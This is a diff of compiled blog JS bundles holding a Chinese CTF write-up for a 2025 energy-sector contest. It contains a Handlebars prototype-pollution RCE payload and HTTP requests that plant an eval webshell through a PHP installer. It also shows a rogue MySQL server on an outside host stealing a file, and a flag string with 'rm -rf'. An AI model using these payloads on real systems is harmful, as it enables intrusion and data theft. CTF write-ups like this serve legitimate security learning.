5982\u679c\u60f3\u8981\u8fdb\u4e00\u6b65\u5b66\u4e60\uff0c\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/index.html",children:"torchaudio\u5b98\u65b9\u6587\u6863"}),"\u3002"]})]})}function h(e={}){const{wrapper:i}={...(0,r.R)(),...e.components};return i?(0,o.jsx)(i,{...e,children:(0,o.jsx)(s,{...e})}):s(e)}},28453:(e,i,n)=>{n.d(i,{R:()=>a,x:()=>l});var t=n(96540);const o={},r=t.createContext(o);function a(e){const i=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(i):{...i,...e}},[i,e])}function l(e){let i;return i=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:a(e.components),t.createElement(r.Provider,{value:i},e.children)}},90938:(e,i,n)=>{n.d(i,{A:()=>t});const t=n.p+"assets/images/torchaudio_feature_extractions-ad8a4ee648b7f7d7084bb8ca2870aa42.png"}}]); \ No newline at end of file diff --git a/en/assets/js/4e347250.6da625c1.js b/en/assets/js/4e347250.6da625c1.js new file mode 100644 index 0000000..1398186 --- /dev/null +++ b/en/assets/js/4e347250.6da625c1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4563],{4984:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/README","title":"\u4fe1\u606f\u6536\u96c6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"intro","permalink":"/en/docs/intro"},"next":{"title":"\u4e3b\u57df\u540d\u6536\u96c6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/"}}');var r=n(74848),o=n(28453);const i={},l="\u4fe1\u606f\u6536\u96c6",c={},d=[];function a(e){const t={blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u4fe1\u606f\u6536\u96c6",children:"\u4fe1\u606f\u6536\u96c6"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:31:21"})]})})]}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:"[!TIP]"}),"\n",(0,r.jsx)(t.p,{children:"\u6e17\u900f\u6d4b\u8bd5\u7684\u672c\u8d28\u5c31\u662f\u4fe1\u606f\u6536\u96c6\uff0c\u8fd9\u53e5\u8bdd\u60f3\u5fc5\u5927\u5bb6\u90fd\u542c\u8fc7\uff0c\u5728\u6574\u4e2a\u6e17\u900f\u6d4b\u8bd5\u7684\u65f6\u5019\uff0c\u4fe1\u606f\u6536\u96c6\u5360\u636e\u4e86\u7edd\u5927\u90e8\u5206\u3002\u62ff\u5230\u4e00\u4e2a\u76ee\u6807\u7684\u4e3b\u7ad9\u57df\u540d\u540e\uff0c\u60f3\u4ece\u4e3b\u7ad9\u653b\u5165\u4e00\u822c\u662f\u5f88\u56f0\u96be\u7684\uff0c\u6216\u8005\u8bf4\u6839\u672c\u4e0d\u53ef\u80fd\uff0c\u4f46\u5982\u679c\u4fe1\u606f\u6536\u96c6\u505a\u5f97\u5168\u9762\uff0c\u653b\u51fb\u9762\u6269\u5927\uff0c\u627e\u5230\u76ee\u6807\u7684\u8106\u5f31\u70b9\uff0c\u8ba9\u653b\u9677\u76ee\u6807\u66f4\u5bb9\u6613\u3002"}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,o.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>l});var s=n(96540);const r={},o=s.createContext(r);function i(e){const t=s.useContext(o);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(o.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/4ffa29cb.c44e1f04.js b/en/assets/js/4ffa29cb.c44e1f04.js new file mode 100644 index 0000000..cf4e424 --- /dev/null +++ b/en/assets/js/4ffa29cb.c44e1f04.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4302],{28453:(e,n,t)=>{t.d(n,{R:()=>i,x:()=>r});var a=t(96540);const l={},s=a.createContext(l);function i(e){const n=a.useContext(s);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:i(e.components),a.createElement(s.Provider,{value:n},e.children)}},47306:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>h,frontMatter:()=>i,metadata:()=>a,toc:()=>o});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/README","title":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/03.\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/03.\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/03.\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Handlebars-AST\u6ce8\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165"},"next":{"title":"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/"}}');var l=t(74848),s=t(28453);const i={},r="2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4",c={},o=[{value:"\u9898\u76ee\u5217\u8868",id:"\u9898\u76ee\u5217\u8868",level:2},{value:"WriteUp",id:"writeup",level:2},{value:"EasyNodeRce",id:"easynoderce",level:3},{value:"\u601d\u8def",id:"\u601d\u8def",level:4},{value:"wp",id:"wp",level:3},{value:"EasyInstall",id:"easyinstall",level:3},{value:"\u601d\u8def",id:"\u601d\u8def-1",level:4},{value:"wp",id:"wp-1",level:4},{value:"NumberTheory",id:"numbertheory",level:3},{value:"\u601d\u8def",id:"\u601d\u8def-2",level:4},{value:"wp",id:"wp-2",level:4},{value:"USB",id:"usb",level:3},{value:"\u601d\u8def",id:"\u601d\u8def-3",level:4},{value:"wp",id:"wp-3",level:4},{value:"Reference",id:"reference",level:2}];function d(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"2025\u5e74\u80fd\u6e90ctf\u5927\u8d5b\u793e\u4f1a\u7ec4",children:"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:39:14"})]})})]}),"\n",(0,l.jsxs)(n.p,{children:["\u9898\u76ee\u5df2\u7ecf\u6574\u5408\u5230\u4e86\u6211\u7684 ",(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/",children:"CTF\u5e73\u53f0"}),"\uff0c\u5404\u4f4d\u53ef\u524d\u5f80\u590d\u73b0"]}),"\n",(0,l.jsx)(n.h2,{id:"\u9898\u76ee\u5217\u8868",children:"\u9898\u76ee\u5217\u8868"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/challenges#3-EasyInstall",children:"EasyInstall"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/challenges#4-NumberTheory",children:"NumberTheory"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/challenges#5-USB",children:"USB"})}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"writeup",children:"WriteUp"}),"\n",(0,l.jsx)(n.h3,{id:"easynoderce",children:"EasyNodeRce"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def",children:"\u601d\u8def"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u5229\u7528 ",(0,l.jsx)(n.code,{children:"Handlebars AST\u6ce8\u5165"}),"\u914d\u5408"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"\u539f\u578b\u94fe"}),"\u6c61\u67d3"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"wp",children:"wp"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-py",children:'import requests\n\npayload = {\n "__proto__": {\n "type": "Program",\n "body": [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'open -a Calculator\').toString())"\n }],\n "loc": {\n "start": 0\n }\n }]\n }\n}\n\nurl = "http://192.168.3.91:3000/template"\ndata = {\n "pathKey": "text",\n "data": payload\n}\nprint(data)\ntext = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})\nprint(text.text)\n\n'})}),"\n",(0,l.jsx)(n.h3,{id:"easyinstall",children:"EasyInstall"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def-1",children:"\u601d\u8def"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u901a\u8fc7\u5199\u5165 db \u914d\u7f6e\u6587\u4ef6 \u4e00\u53e5\u8bdd\u6728\u9a6c"}),"\n",(0,l.jsxs)(n.li,{children:["\u5229\u7528\u6076\u610f\u6570\u636e\u5e93\uff0c\u8bfb\u53d6\u672c\u5730\u6587\u4ef6 ",(0,l.jsx)(n.code,{children:"/readflag"})]}),"\n"]}),"\n",(0,l.jsx)(n.h4,{id:"wp-1",children:"wp"}),"\n",(0,l.jsx)(n.p,{children:"\u53d1\u9001\u4e00\u4e0b\u6570\u636e\u5305 \u6ce8\u610f mysql\u7684\u8fde\u63a5\u5730\u5740\u5fc5\u987b\u662f\u771f\u5b9e\u7684"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"POST /install.php?m=Install&a=step2&c=Install& HTTP/1.1\nHost: 127.0.0.1:2002\nContent-Length: 160\nPragma: no-cache\nCache-Control: no-cache\nContent-Type: application/x-www-form-urlencoded\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1\nConnection: keep-alive\n\nadmin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&db[]=mysql&db[]=127.0.0.1&db[]=test&db[]=root&db[]=root'.eval($_GET[1]).'1&db[]=3306&db[]=\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5f97\u5230\u5bf9\u5e94Cookie"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"HTTP/1.1 302 Found\nDate: Fri, 18 Apr 2025 02:43:44 GMT\nServer: Apache/2.4.25 (Debian)\nX-Powered-By: PHP/5.6.40\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nSet-Cookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/\nLocation: /install.php?s=/install/step3.html\nContent-Length: 0\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\n\n\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5c06\u5f97\u5230\u7684cookie \u66ff\u6362\u4e0b\u65b9\u7684 Cookie \uff0c\u5e76\u8bf7\u6c42\u5199\u5165webShell"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"POST /install.php?m=Install&a=step3&c=Install& HTTP/1.1\nHost: 127.0.0.1:2002\nContent-Length: 0\nPragma: no-cache\nCookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/\nCache-Control: no-cache\nContent-Type: application/x-www-form-urlencoded\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1\nConnection: keep-alive\n\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u8bbf\u95ee\u5f97\u5230flag"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl 'http://127.0.0.1:2002/Modules/Common/Conf/35476a338e03e65c85448bb8450bd27d.php?1=system(%27cat+/readflag%27);'\nctf{123456789}\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u7b2c\u4e8c\u79cd\u89e3\u6cd5 \u5229\u7528 \u6076\u610fmysql\u670d\u52a1\u5668\u8bfb\u53d6\u5ba2\u6237\u7aef\u7684\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"\u8fd9\u9898\u7684flag\u5728\u6587\u4ef6 readflag \u6240\u4ee5\u6709\u70b9\u6076\u5fc3\u4e00\u822c\u60f3\u4e0d\u5230"}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\u5728\u62e5\u6709\u516c\u7f51IP\u7684VPS\u4e0a\u6784\u5efa\u670d\u52a1\u5668"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c /tmp wget https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip && unzip rogue_mysql_server-v1.0.1-linux-amd64.zip\n--2025-04-18 10:51:46-- https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip\nResolving github.com (github.com)... 20.205.243.166\nConnecting to github.com (github.com)|20.205.243.166|:443... connected.\nHTTP request sent, awaiting response... 302 Found\nLocation: https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream [following]\n--2025-04-18 10:51:46-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream\nResolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.110.133, ...\nConnecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 3396655 (3.2M) [application/octet-stream]\nSaving to: \u2018rogue_mysql_server-v1.0.1-linux-amd64.zip.1\u2019\n\nrogue_mysql_server-v1.0.1-linux-amd64.zip 100%[====================================================================================>] 3.24M 8.89MB/s in 0.4s\n\n2025-04-18 10:51:48 (8.89 MB/s) - \u2018rogue_mysql_server-v1.0.1-linux-amd64.zip.1\u2019 saved [3396655/3396655]\n\nArchive: rogue_mysql_server-v1.0.1-linux-amd64.zip\n inflating: README.md\n inflating: config.yaml\n inflating: rogue_mysql_server\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539 config.yaml \u4e2d\u9700\u8981\u8bfb\u53d6\u7684\u6587\u4ef6 \u4e3a /readflag \u5e76\u542f\u52a8"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c /tmp vim config.yaml\n\u279c /tmp ./rogue_mysql_server\nINFO[2025-04-18 10:53:19] Server started at [0.0.0.0:3306]\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u89e6\u53d1\u6587\u4ef6\u8bfb\u53d6\uff0c\u6ce8\u610f\u6570\u636e\u5e93IP\u4e3a\u516c\u7f51\u5730\u5740\u7684IP"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl 'http://127.0.0.1:2002/install.php?m=Install&a=step3&c=Install&' \\\n-H 'Cookie: foo_db_config=mysql://root:root@83.229.121.36:3306/test?1001=1;'\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u53d1\u9001\u540e\uff0c\u670d\u52a1\u7aef\u5c31\u4f1a\u5f97\u5230\u5bf9\u5e94\u7684flag\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'\u279c /tmp ./rogue_mysql_server\nINFO[2025-04-18 10:59:34] Server started at [0.0.0.0:3306]\nINFO[2025-04-18 10:59:37] New client from addr [171.219.210.82:17709] logged in with username [root], database [test], ID [1]\nINFO[2025-04-18 10:59:37] Client from addr [171.219.210.82:17709], ID [1] try to query [SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"]\nINFO[2025-04-18 10:59:37] Now try to read file [/readflag] from addr [171.219.210.82:17709], ID [1]\nINFO[2025-04-18 10:59:37] Read success, stored at [./loot/171.219.210.82/1744945177597_readflag]\nINFO[2025-04-18 10:59:38] Client leaved, Addr [171.219.210.82:17709], ID [1]\n^C\n\u279c /tmp cat ./loot/171.219.210.82/1744945177597_readflag\nctf{123456789}\n\u279c /tmp\n'})}),"\n",(0,l.jsx)(n.h3,{id:"numbertheory",children:"NumberTheory"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def-2",children:"\u601d\u8def"}),"\n",(0,l.jsx)(n.p,{children:"\u8d39\u9a6c\u5b9a\u7406"}),"\n",(0,l.jsx)(n.h4,{id:"wp-2",children:"wp"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"```\nfrom Crypto.Util.number import *\nimport gmpy2\n\n\ne = 65537\nn = 105531804094410236294687082475828411218788143973352026416392542762437103918840861241726193253936370648195682452618343195471719649394086997793137653518966739212122830015579955183805636213883066694989610003565432493653164047938048521354525623612253955387430773546124647105772639376194421783783651686606080214099\nc = 6838127295540107402282470465780599628759317234806902778570348919850980664834107227012249617036087381075344016550381137159643512672239826438903241091658619314078921936719784123522758604349399440232971511649918093228288847534685526358191804172060250409498531941883162873696671060909325234109062997554795436940\nh = 225457129615945961139095949356083106510992163176770860368085043522677811094793442173512565115313130227614423196268240217775831118417780318014842280209747426271227826513967791945116378179885000662888744992914390207196310600996050316737090999399962338133222370745589250853315876818226312453376340282748842779666176953455553054310328901299083159029050169950812885486884682347263045764918907196922313892044095742248895091717187372068779768743879411865275203496650858608\n\n#hint + 233 * k == 233 * k * p\n# hint / 233*k + 1 == p\n# hint / 233*k == p-1\n# hint /233 = k*(p-1) = k*phi(p)\n# \u8d39\u9a6c\u5c0f\u5b9a\u7406\n# a^ k*phi(p) == 1 modp\n# a^(hint /233) == 1 modp\n# a^(hint /233) -1 == 0 modp\n# n == 0 modp\n\na =2\n\np = gmpy2.gcd(n, pow(a, (h //233), n)-1)\nprint(p)\nq = n//p\n\nphi = (p-1)*(q-1)\nd = gmpy2.invert(e, phi)\nprint(long_to_bytes(pow(c, d, n)))\n```\n\n"})}),"\n",(0,l.jsx)(n.h3,{id:"usb",children:"USB"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def-3",children:"\u601d\u8def"}),"\n",(0,l.jsx)(n.p,{children:"\u63d0\u53d6usb\u8f93\u5165"}),"\n",(0,l.jsx)(n.h4,{id:"wp-3",children:"wp"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-text",children:"flag{158f26cca09e89b08cbd234c1f9c98c0}\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202504181336923.png",alt:"image-20250417152848408"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"flag{whoami && rm -rf /opt}\n"})}),"\n",(0,l.jsx)(n.h2,{id:"reference",children:"Reference"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://www.cers.org.cn/site/content/d65f5ca22ac4be37e11fd5b53a79e3d5.html",children:"\u3010\u62a5\u540d\u901a\u77e5\u3011\u5173\u4e8e\u7ec4\u7ec72025\u5e74\u80fd\u6e90\u7f51\u7edc\u5b89\u5168\u5927\u8d5b \u62a5\u540d\u7684\u901a\u77e5_\u4e2d\u56fd\u80fd\u6e90\u7814\u7a76\u4f1a"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3",children:"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4 - GZ::CTF"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/5277f951.c745a92c.js b/en/assets/js/5277f951.c745a92c.js new file mode 100644 index 0000000..e7a08e3 --- /dev/null +++ b/en/assets/js/5277f951.c745a92c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4809],{28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>i});var s=t(96540);const r={},l=s.createContext(r);function c(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:n},e.children)}},54367:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/float16-e65233fe4f15e50c00ed7034ecb48a45.jpg"},95356:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 